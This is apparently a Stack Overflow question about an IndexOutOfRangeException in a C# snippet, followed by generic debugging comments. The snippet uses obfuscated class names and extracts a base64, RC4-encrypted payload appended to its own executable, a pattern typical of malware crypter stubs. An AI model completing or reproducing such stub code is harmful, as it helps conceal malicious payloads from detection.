0

I am using this code but getting an error when debugging my code.System.IndexOutOfRangeException: 'Index was outside the bounds of the array. I don't know how to reslove this issue.

sealed class でちてででェはャべ意ちのはてきすてスすいい抱愛で私つ任合いス
{

    const string data1 = "[technovez]";
 const string data2 = "[system]";
    static string[] a1;
    static byte[] a2;

    static public void た私ェたもでの合合ェ私任でちェつべ合のたすがジェつすでた愛た()
    {
        a1 = Strings.Split(File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName), data2);///excrever em my project .exe
        a2 = cr4_C(Convert.FromBase64String(a1[1]), data1);   //desconverte server to base64                  
        Encoding.GetEncoding(1252).GetBytes(a1[1]);
    }
    
    }

enter image description here

Aamir Hussain
  • 141
  • 1
  • 10
  • What line causes the problem? Have you stepped through with a debugger to see what a1 and a2 are, and if they have the right number of elements? – Joe Sewell Jun 24 '20 at 16:53
  • on this line, I am getting an error a2 = cr4_C(Convert.FromBase64String(a1[1]), data1); – Aamir Hussain Jun 24 '20 at 16:55
  • 1
    What is `Strings.Split`? It seems like it might be returning an array that has less than 2 entries, thus you don't have anything at index 1 in `a1`. – juharr Jun 24 '20 at 16:57
  • `a[1]` gets the second element of the array (since we start counting from 0), and this error occurs because the array is smaller than that - i.e., it either has 0 elements or 1 element. Step through in a debugger to see what a1 is on this line, and if that makes sense with what you expect. – Joe Sewell Jun 24 '20 at 16:58

0 Answers0